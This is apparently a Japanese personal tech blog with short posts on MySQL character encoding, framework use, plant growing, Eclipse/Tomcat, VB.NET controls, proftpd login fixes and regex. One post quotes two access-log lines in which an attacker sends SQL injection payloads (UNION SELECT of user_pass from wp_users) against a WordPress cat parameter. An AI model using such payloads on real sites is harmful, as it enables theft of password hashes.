mysqlへjdbc接続した場合に文字化けが発生する

私の環境の場合は文字コードは全てutf-8で運用していたけれど、jspのフォームからパラメータを送って、サーブレットでsqlのinsert文を実行し、結果が正しく反映されているかどうかmysql command line client から確認してみたところ、日本語の文字列が全て???に化けてしまっていた。jspとサーブレット、mysqlの文字コードは全てutf-8で統一しているにもかかわらず。色々と調べた結果、下記の内容をmysqlのmy.iniファイルに追記することで変化が現れた。

mysql-5.0.20を使いたいのですが、文字化けで困っております。日本語の文字が?になってしまいます。
●my.iniで、追加した項目

[client]

default-character-set=sjis

[mysqld]

skip-character-set-client-handshake

init-connect=SET NAMES sjis

これを追記したあとで再起動して、もういちどテストしてみると???のような文字化けではなくて”繝・せ繝・”のような文字化けに変わった。次にmysqlの変数を設定する。


mysql> show variables like 'char%';

+--------------------------+---------------------------------------------------------+
| Variable_name            | Value                                                   |
+--------------------------+---------------------------------------------------------+
| character_set_client     | utf8                                                    |
| character_set_connection | utf8                                                    |
| character_set_database   | utf8                                                    |
| character_set_filesystem | binary                                                  |
| character_set_results    | utf8                                                  |
| character_set_server     | utf8                                                    |
| character_set_system     | utf8                                                    |
| character_sets_dir       | C:Program FilesMySQLMySQL Server 5.0sharecharsets |
+--------------------------+---------------------------------------------------------+

上記が私の環境でのmysqlの文字コードの設定内容となっている。utf-8に揃えているのだけれど、character_set_resultsの値は接続するクライアントの環境の文字コードに合わせる必要がある。私の場合は、windows xpでmysql command line clientを使ってmysqlに接続している。つまり、コマンドプロンプトでmysqlを操作している。コマンドプロンプトは表示する文字コードがshift-jisに固定となっている。そのため、mysqlの変数のcharacter_set_resultsにsjisを設定しなければならない(コマンドプロンプト以外でアクセスする場合はそのクライアント端末によって変わることになる)


mysql> set character_set_results = sjis;


これで、なんとか文字化けの現象は回避できた。

sqlインジェクション

ns.km22518.keymachine.de - - [19/Jul/2008:22:25:12 +0900] "GET /wordpress/index.php?cat=%27+UNION+SELECT+CONCAT(666,CHAR(58),user_pass,CHAR(58),666,CHAR(58))+FROM+wp_users+where+id=1/* HTTP/1.1" 200 14883 "-" "Mozilla/4.0 (k1b compatible; rss 6.0; Windows Sot 5.1 Security Kol)"
ns.km22518.keymachine.de - - [19/Jul/2008:22:25:14 +0900] "GET /wordpress/index.php?cat=999+UNION+SELECT+null,CONCAT(666,CHAR(58),user_pass,CHAR(58),666,CHAR(58)),null,null,null+FROM+wp_users+where+id=1/* HTTP/1.1" 200 14877 "-" "Mozilla/4.0 (k1b compatible; rss 6.0; Windows Sot 5.1 Security Kol)"

パスワードを割り出そうとしているのか。wordpressのユーザidの1番目のパスワードをselectで取得しようとしているのがログから読み取れる。

フレームワークの有効性

フレームワークを使う利点は、フレームワークを使わない場合の欠点を知らないと生きてこない。しかしそれを実感するには十分な知識と実践と時間が必要になる。ライブラリやフレームワークを使えば自然と開発の時間が短縮されて楽をできるという浅はかな考えは通用しない。例えばjspでウェブアプリケーションを作成するときにjstlやstrutsフレームワークといったものを使うことがある。jspについての経験の浅い私の目から見ればまったく別言語に見える。コードを簡潔にしたり、再利用をしたりということの恩恵を得られるようになるはまだまだ先のことのようだ。

こういう話もある。

コードの再利用

再利用可能な要素を求めてコードを読むことがあります。このときの鍵となる考え方として、「期待しすぎない」ことが大切です。コードを再利用できるという可能性は魅力的ですが、わかりにくい概念です。期待しすぎず、失望しないでください。再利用可能なコードを書くのは非常に大変なことです。何年にもわたって時の試練に耐え、複数の異なる場面で再利用されてきたソフトウェアは案外少ないものです。一般にソフトウェア部品が再利用可能な候補になるのは、きちんとした手続きを経て拡張され、2つか3つのシステムに繰り返し採用されてきた実績があるときです。その場限りの目的で開発されるソフトウェアでは、こうしたことはめったに起こりません。

ポトスの栽培-185日目

あれから水栽培から鉢に植え替えて、マーブルポトスも合流させたりその他のポトスも合わせたりと色々やってひとつの鉢で育てることにした。しかし、植え替えた鉢も既に限界に達してしまった。もう一回り大きな鉢に植え替えないとどうにもならない状況にまで育ってしまった。週に一回水を思いっきり鉢全体にぶっ掛けて室内の日当たりの良いところに置いていたら下の画像のようになった。丹精込めて育てたというより、むしろ勝手に育ったという感じ。

0419-001.jpg画像1枚目。3月辺りから急激に成長が早くなった。気温のせいだろうかと思う。

0419-002.jpg画像2枚目。蔓が支柱のてっぺんから折り返して地面に届くほどの長さになった。長いもので150cm程。

0419-003.jpg画像3枚目。

eclipseでtomcatプロジェクトの作成

Javaとtomcatはインストール済みであることを前提とする。

  1. eclipseのインストール
  2. eclipseの日本語化
  3. tomcatプラグインをeclipseにインストール
  4. tomcatプロジェクトを作成

[PR] Eclipse3.5ではじめるJavaプログラミング入門―Eclipse3.5 Galileo対応 (Java Programing Guide)

続きを読む eclipseでtomcatプロジェクトの作成

リッチテキストボックスに左余白を設定する

leftmargin-test.png備忘。右画像のようにテキストボックス内に左余白を設定する。リッチテキストボックスのプロパティパネル内を見渡しても左余白を設定するプロパティは見つからなかった。右余白については、RightMarginというプロパティはあってテキストボックス内の右余白を設定することができるようになっている。しかし、RightMarginがありながらLeftMarginの設定をすることはできないらしい。あってもよさそうなのだけれど・・・。で、左余白を設定するにはselectionIndentを設定することで実現できる。

サンプルコード

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

        Me.RichTextBox1.SelectionIndent = 30

    End Sub

余白を設定する方法を調べていたらプロパティパネル内にShowSelectionMarginというプロパティがあることに気づいた。これもよくわからないもので、ShowSelectionMarginのプロパティをtrueに設定するとわずかばかり左側に余白が設定される。その余白サイズについては不明。サイズを設定することはできない模様。SelectionIndentを設定することで事足りるので、ShowSelectionMarginの設定はおそらく要らないのではないかと思う。

listviewのSelectedIndexChangedイベントの挙動

listviewの一覧のアイテムをマウスでクリックして、そのクリックした項目のアイテム名を取得しようとしたら、

  Message="'0' の InvalidArgument=Value は 'index' に対して有効ではありません。
パラメータ名: index"
  ParamName="index"

というエラーが発生した。listviewのアイテムを初回選択時にはエラーは出ず、2回目にアイテムを選択したときにエラーが発生した。どうも挙動が怪しい。1回目に選択して2回目に選択し直すときにselectedindexの値がクリアされてから選択をし直す、というような動きをしている。なぜそのような動きなのかはよくわからないけれど、とにかくエラーを回避するには、selectedindexのcountの値を見て、0である場合は読まないようにするしかない。

サンプルコード

If Me.listView1.SelectedItems.Count > 0 Then

memo_file_name = Me.lv_index.SelectedItems.Item(0).Text

(省略)

End If

googleのインデックスにipアドレスが登録される

google_kochi_news.png高知新聞のホームページをgoogleで検索してみたところ、検索結果の一番初めに目的の高知新聞のホームページが表示されたのだけれど、そのアドレスがおかしい。ドメインではなくipアドレスで直接インデックスされている。新聞社の比較的大きなサイトなので当然固定ipを取得してるのだろうけど、ドメインではなくipがまず先にインデックスされるとは一体どういうことになってるのだろうか。謎。

proftpdサーバにログインできない

debianをインストール後にproftpdをapt-getでインストールした後、クライアントPCからftp接続をしてみたところログインできなかった。ユーザ名とパスワードは作成されたものを正しく入力していたにもかかわらず。proftpdのログを調べてみた。

KURO-BOX:/# tail /var/log/proftpd/proftpd.log
Jun 07 06:46:49 KURO-BOX proftpd[6832] KURO-BOX (192.168.11.2[192.168.11.2]): USER nakahira (Login failed): Invalid shell: ''

Invalid shell: ”という部分が問題になっている。useraddでユーザを作成したときにシェルを指定することを忘れていた模様。では、usermodでシェルを指定することにしてみる。

KURO-BOX:/# usermod -s /bin/sh nakahira

これでfpt接続に再挑戦。しかし・・・、

User (192.168.11.10:(none)): nakahira
331 Password required for nakahira.
Password:
530 Login incorrect.
Login failed.

また失敗。もういちどproftpdのログを調べてみる。

KURO-BOX:/# tail /var/log/proftpd/proftpd.log
Jun 07 07:12:32 KURO-BOX proftpd[6846] KURO-BOX (192.168.11.2[192.168.11.2]): FTP session opened.
Jun 07 07:12:37 KURO-BOX proftpd[6846] KURO-BOX (192.168.11.2[192.168.11.2]): USER nakahira: Login successful.
Jun 07 07:12:37 KURO-BOX proftpd[6846] KURO-BOX (192.168.11.2[192.168.11.2]): nakahira chdir("/home/cdn/nakahira"): No such file or directory
Jun 07 07:12:37 KURO-BOX proftpd[6846] KURO-BOX (192.168.11.2[192.168.11.2]): FTP session closed.

ログインは成功している。しかし、ディレクトリが見つからないと言っている。作ったはずなんだけれど・・・。

KURO-BOX:/# mkdir /home/cdn/nakahira

もういちどfpt接続に挑戦。

220 ProFTPD 1.3.0 Server (Debian) [192.168.11.10]
User (192.168.11.10:(none)): nakahira
331 Password required for nakahira.
Password:
230 User nakahira logged in.

無事ログイン成功。めでたしめでたし。

文字列中にある一部分だけを置き換える

備忘。正規表現を使ってある条件にマッチする場合、その文字列の一部分を別の文字列に置き換える、ということをやってみる。たとえば次のような文字列があったとする。

“00 abcde” “01 fghij”

上記の文字列を、ダブルクォートで囲まれた部分に半角スペースがあれば、その半角スペースをアンダーバーに置き換えるという処理をする。目的の形式としては次のような文字列が作成されればいい。

“00_abcde” “01_fghij”

考え方としては、ダブルクォートで囲まれた部分は、1個のダブルクォートから始まり1個以上の文字列があり、スペースが続き、そして1個以上の文字列があって1個のダブルクォートで終わる、という範囲になる。これによりダブルクォートで囲われた部分が複数あっても識別することができる。下記にサンプルコードを記載する。半角”(” “)”で囲われた部分は置換せずに残すという意味になる。置換後の文字列には$1と$2という部分があるが、これは置換前のカッコを意味しており、その数字はカッコの出現順を意味している。置換対象は半角スペースのみで、それを半角アンダーバーに置き換える、となる。

サンプルコード

Imports System.Text.RegularExpressions

...

searchStr = Regex.Replace(targetString, "("".+?) ([^""]+?"")", "$1_$2")